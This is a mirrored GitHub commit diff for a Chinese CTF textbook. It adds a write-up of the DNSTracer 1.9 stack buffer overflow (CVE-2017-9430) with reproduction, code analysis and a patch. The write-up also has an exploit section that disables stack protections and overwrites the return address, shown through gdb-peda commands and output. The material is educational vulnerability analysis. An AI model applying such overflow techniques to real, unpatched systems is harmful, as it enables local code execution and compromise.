mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 03:01:15 +07:00
fix readme
This commit is contained in:
parent
3997ad3c9f
commit
3c0579805b
@ -5,11 +5,14 @@ CTF-All-In-One(CTF 从入门到放弃)
|
||||
|
||||
*——“与其相信谣言,不如一直学习。”*
|
||||
|
||||
*GitHub 地址:https://github.com/firmianay/CTF-All-In-One*
|
||||
GitHub 地址:https://github.com/firmianay/CTF-All-In-One
|
||||
|
||||
*GitBook 地址:https://www.gitbook.com/book/firmianay/ctf-all-in-one/details*
|
||||
GitBook 地址:https://www.gitbook.com/book/firmianay/ctf-all-in-one/details
|
||||
|
||||
PDF 文件地址:
|
||||
- https://www.gitbook.com/download/pdf/book/firmianay/ctf-all-in-one(推荐)
|
||||
- https://github.com/firmianay/CTF-All-In-One/releases(尚未完成,不推荐)
|
||||
|
||||
*PDF 文件地址:https://github.com/firmianay/CTF-All-In-One/releases*
|
||||
|
||||
目录
|
||||
---
|
||||
|
@ -3,18 +3,240 @@
|
||||
- [漏洞描述](#漏洞描述)
|
||||
- [漏洞复现](#漏洞复现)
|
||||
- [漏洞分析](#漏洞分析)
|
||||
- [Exploit](#exploit)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/exploit/7.1.6_dnstracer_2017-9430)
|
||||
|
||||
## 漏洞描述
|
||||
DNSTracer 是一个用来跟踪 DNS 解析过程的应用程序。DNSTracer 1.9 及之前的版本中存在栈缓冲区溢出漏洞。攻击者可借助带有较长参数的命令行利用该漏洞造成拒绝服务攻击。
|
||||
|
||||
|
||||
## 漏洞复现
|
||||
| |推荐使用的环境 | 备注 |
|
||||
| --- | --- | --- |
|
||||
| 操作系统 | Ubuntu 16.04 | 体系结构:32 位 |
|
||||
| 调试器 | gdb-peda| 版本号:7.11.1 |
|
||||
| 漏洞软件 | DNSTracer | 版本号:1.9 |
|
||||
|
||||
首先编译安装 DNSTracer:
|
||||
```
|
||||
$ wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
|
||||
$ tar zxvf dnstracer-1.9.tar.gz
|
||||
$ cd dnstracer-1.9
|
||||
$ ./confugure
|
||||
$ make && sudo make install
|
||||
```
|
||||
传入一段超长的字符串作为参数即可触发栈溢出:
|
||||
```
|
||||
$ dnstracer -v $(python -c 'print "A"*1025')
|
||||
*** buffer overflow detected ***: dnstracer terminated
|
||||
======= Backtrace: =========
|
||||
/lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb757f377]
|
||||
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x68)[0xb760f6b8]
|
||||
/lib/i386-linux-gnu/libc.so.6(+0xf58a8)[0xb760d8a8]
|
||||
/lib/i386-linux-gnu/libc.so.6(+0xf4e9f)[0xb760ce9f]
|
||||
dnstracer[0x8048f26]
|
||||
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7530637]
|
||||
dnstracer[0x804920a]
|
||||
======= Memory map: ========
|
||||
08048000-0804e000 r-xp 00000000 08:01 270483 /usr/local/bin/dnstracer
|
||||
0804f000-08050000 r--p 00006000 08:01 270483 /usr/local/bin/dnstracer
|
||||
08050000-08051000 rw-p 00007000 08:01 270483 /usr/local/bin/dnstracer
|
||||
08051000-08053000 rw-p 00000000 00:00 0
|
||||
084b6000-084d7000 rw-p 00000000 00:00 0 [heap]
|
||||
b74e4000-b7500000 r-xp 00000000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
|
||||
b7500000-b7501000 rw-p 0001b000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
|
||||
b7518000-b76c8000 r-xp 00000000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
|
||||
b76c8000-b76ca000 r--p 001af000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
|
||||
b76ca000-b76cb000 rw-p 001b1000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
|
||||
b76cb000-b76ce000 rw-p 00000000 00:00 0
|
||||
b76e4000-b76e7000 rw-p 00000000 00:00 0
|
||||
b76e7000-b76e9000 r--p 00000000 00:00 0 [vvar]
|
||||
b76e9000-b76eb000 r-xp 00000000 00:00 0 [vdso]
|
||||
b76eb000-b770d000 r-xp 00000000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
|
||||
b770d000-b770e000 rw-p 00000000 00:00 0
|
||||
b770e000-b770f000 r--p 00022000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
|
||||
b770f000-b7710000 rw-p 00023000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
|
||||
bf8e5000-bf907000 rw-p 00000000 00:00 0 [stack]
|
||||
Aborted (core dumped)
|
||||
```
|
||||
|
||||
|
||||
## 漏洞分析
|
||||
这个漏洞非常简单也非常典型,发生原因是在把参数 `argv[0]` 复制到数组 `argv0` 的时候没有做长度检查,如果大于 1024 字节,就会导致栈溢出:
|
||||
```c
|
||||
// dnstracer.c
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
[...]
|
||||
char argv0[NS_MAXDNAME];
|
||||
[...]
|
||||
strcpy(argv0, argv[0]);
|
||||
```
|
||||
```c
|
||||
// dnstracer_broker.h
|
||||
#ifndef NS_MAXDNAME
|
||||
#define NS_MAXDNAME 1024
|
||||
#endif
|
||||
```
|
||||
|
||||
#### 补丁
|
||||
要修这个漏洞的话,在调用 `strcpy()` 前加上对参数长度的检查就可以了:
|
||||
```c
|
||||
/*CVE-2017-9430 Fix*/
|
||||
if(strlen(argv[0]) >= NS_MAXDNAME)
|
||||
{
|
||||
free(server_ip);
|
||||
free(server_name);
|
||||
fprintf(stderr, "dnstracer: argument is too long %s\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// check for a trailing dot
|
||||
strcpy(argv0, argv[0]);
|
||||
```
|
||||
|
||||
|
||||
## Exploit
|
||||
接下来可以破解它,首先修改 Makefile,关掉栈保护,同时避免 gcc 使用安全函数 `__strcpy_chk()` 替换 `strcpy()`,修改编译选项如下,然后编译安装:
|
||||
```
|
||||
$ cat Makefile | grep -w CC
|
||||
CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0
|
||||
COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
|
||||
CCLD = $(CC)
|
||||
$ make && sudo make install
|
||||
gdb-peda$ checksec
|
||||
CANARY : disabled
|
||||
FORTIFY : disabled
|
||||
NX : disabled
|
||||
PIE : disabled
|
||||
RELRO : Partial
|
||||
```
|
||||
|
||||
因为漏洞发生在 main 函数中,堆栈的布置比起在子函数里也要复杂一些。大体过程和前面写过的一篇 wget 溢出漏洞差不多,但那一篇是 64 位程序,所以这里选择展示一下 32 位程序。
|
||||
|
||||
在 gdb 里进行调试,利用 pattern 确定溢出位置,1060 字节就足够了:
|
||||
```
|
||||
gdb-peda$ pattern_create 1060
|
||||
gdb-peda$ pattern_offset $ebp
|
||||
1849771630 found at offset: 1049
|
||||
```
|
||||
所以返回地址位于栈偏移 `1049+4=1053` 的地方。
|
||||
|
||||
在 `strcpy(argv0, argv[0]);` 处下断点,并根据偏移调整输入:
|
||||
```
|
||||
gdb-peda$ b *main+789
|
||||
gdb-peda$ b *main+794
|
||||
gdb-peda$ r `perl -e 'print "A"x1053 . "BBBB"'`
|
||||
Starting program: /home/firmy/dnstracer-1.9/dnstracer `perl -e 'print "A"x1053 . "BBBB"'`
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0x1
|
||||
EBX: 0xbfffe6bf --> 0x400
|
||||
ECX: 0xffffffff
|
||||
EDX: 0xb7fba17c --> 0x0
|
||||
ESI: 0x0
|
||||
EDI: 0xbfffedb3 ('A' <repeats 200 times>...)
|
||||
EBP: 0xbfffead8 --> 0x0
|
||||
ESP: 0xbfffe290 --> 0xbfffe6bf --> 0x400
|
||||
EIP: 0x8048db5 (<main+789>: call 0x8048920 <strcpy@plt>)
|
||||
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x8048db2 <main+786>: push ecx
|
||||
0x8048db3 <main+787>: push edi
|
||||
0x8048db4 <main+788>: push ebx
|
||||
=> 0x8048db5 <main+789>: call 0x8048920 <strcpy@plt>
|
||||
0x8048dba <main+794>: mov ecx,DWORD PTR [ebp-0x82c]
|
||||
0x8048dc0 <main+800>: xor eax,eax
|
||||
0x8048dc2 <main+802>: add esp,0x10
|
||||
0x8048dc5 <main+805>: repnz scas al,BYTE PTR es:[edi]
|
||||
Guessed arguments:
|
||||
arg[0]: 0xbfffe6bf --> 0x400
|
||||
arg[1]: 0xbfffedb3 ('A' <repeats 200 times>...)
|
||||
arg[2]: 0xffffffff
|
||||
arg[3]: 0xffffffff
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xbfffe290 --> 0xbfffe6bf --> 0x400
|
||||
0004| 0xbfffe294 --> 0xbfffedb3 ('A' <repeats 200 times>...)
|
||||
0008| 0xbfffe298 --> 0xffffffff
|
||||
0012| 0xbfffe29c --> 0xffffffff
|
||||
0016| 0xbfffe2a0 --> 0x0
|
||||
0020| 0xbfffe2a4 --> 0x0
|
||||
0024| 0xbfffe2a8 --> 0x8051018 ("127.0.1.1")
|
||||
0028| 0xbfffe2ac --> 0xffffffff
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
|
||||
Breakpoint 1, 0x08048db5 in main (argc=<optimized out>, argv=<optimized out>)
|
||||
at dnstracer.c:1622
|
||||
1622 strcpy(argv0, argv[0]);
|
||||
gdb-peda$ x/10wx argv0
|
||||
0xbfffe6bf: 0x00000400 0x00000700 0x1af23c00 0x1b023c00
|
||||
0xbfffe6cf: 0x1b023c00 0x00000800 0x00004800 0x00000400
|
||||
0xbfffe6df: 0x00000400 0x74e55000
|
||||
```
|
||||
所以栈位于 `0xbfffe6bf`,执行这一行语句即可将 `0xbfffedb3` 处的 "A" 字符串复制到 `argv0` 数组中:
|
||||
```
|
||||
gdb-peda$ c
|
||||
Continuing.
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xbfffe6bf ('A' <repeats 200 times>...)
|
||||
EBX: 0xbfffe6bf ('A' <repeats 200 times>...)
|
||||
ECX: 0xbffff1d0 ("BBBB")
|
||||
EDX: 0xbfffeadc ("BBBB")
|
||||
ESI: 0x0
|
||||
EDI: 0xbfffedb3 ('A' <repeats 200 times>...)
|
||||
EBP: 0xbfffead8 ("AAAABBBB")
|
||||
ESP: 0xbfffe290 --> 0xbfffe6bf ('A' <repeats 200 times>...)
|
||||
EIP: 0x8048dba (<main+794>: mov ecx,DWORD PTR [ebp-0x82c])
|
||||
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x8048db3 <main+787>: push edi
|
||||
0x8048db4 <main+788>: push ebx
|
||||
0x8048db5 <main+789>: call 0x8048920 <strcpy@plt>
|
||||
=> 0x8048dba <main+794>: mov ecx,DWORD PTR [ebp-0x82c]
|
||||
0x8048dc0 <main+800>: xor eax,eax
|
||||
0x8048dc2 <main+802>: add esp,0x10
|
||||
0x8048dc5 <main+805>: repnz scas al,BYTE PTR es:[edi]
|
||||
0x8048dc7 <main+807>: not ecx
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xbfffe290 --> 0xbfffe6bf ('A' <repeats 200 times>...)
|
||||
0004| 0xbfffe294 --> 0xbfffedb3 ('A' <repeats 200 times>...)
|
||||
0008| 0xbfffe298 --> 0xffffffff
|
||||
0012| 0xbfffe29c --> 0xffffffff
|
||||
0016| 0xbfffe2a0 --> 0x0
|
||||
0020| 0xbfffe2a4 --> 0x0
|
||||
0024| 0xbfffe2a8 --> 0x8051018 ("127.0.1.1")
|
||||
0028| 0xbfffe2ac --> 0xffffffff
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
|
||||
Breakpoint 2, main (argc=<optimized out>, argv=<optimized out>) at dnstracer.c:1623
|
||||
1623 if (argv0[strlen(argv[0]) - 1] == '.') argv0[strlen(argv[0]) - 1] = 0;
|
||||
gdb-peda$ x/10wx argv0
|
||||
0xbfffe6bf: 0x41414141 0x41414141 0x41414141 0x41414141
|
||||
0xbfffe6cf: 0x41414141 0x41414141 0x41414141 0x41414141
|
||||
0xbfffe6df: 0x41414141 0x41414141
|
||||
gdb-peda$ x/5wx 0xbfffeadc-0x10
|
||||
0xbfffeacc: 0x41414141 0x41414141 0x41414141 0x41414141 <-- ebp
|
||||
0xbfffeadc: 0x42424242 <-- return addr
|
||||
```
|
||||
同时字符串 "BBBB" 覆盖了返回地址。继续修改 "BBBB" 为栈地址:
|
||||
```
|
||||
gdb-peda$ r `perl -e 'print "A"x1053 . "\xbf\xe6\xff\xbf"'`
|
||||
```
|
||||
即可跳转到栈开头的位置:
|
||||
```
|
||||
gdb-peda$ x/5wx 0xbfffeadc-0x10
|
||||
0xbfffeacc: 0x41414141 0x41414141 0x41414141 0x41414141 <-- ebp
|
||||
0xbfffeadc: 0xbfffe6bf <-- stack
|
||||
```
|
||||
0xbfffeacc
|
||||
|
||||
## 参考资料
|
||||
- http://www.mavetju.org/unix/dnstracer.php
|
||||
- [CVE-2017-9430](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9430)
|
||||
- [DNSTracer 1.9 - Local Buffer Overflow](https://www.exploit-db.com/exploits/42424/)
|
||||
- [DNSTracer 1.8.1 - Buffer Overflow (PoC)](https://www.exploit-db.com/exploits/42115/)
|
||||
|
Loading…
Reference in New Issue
Block a user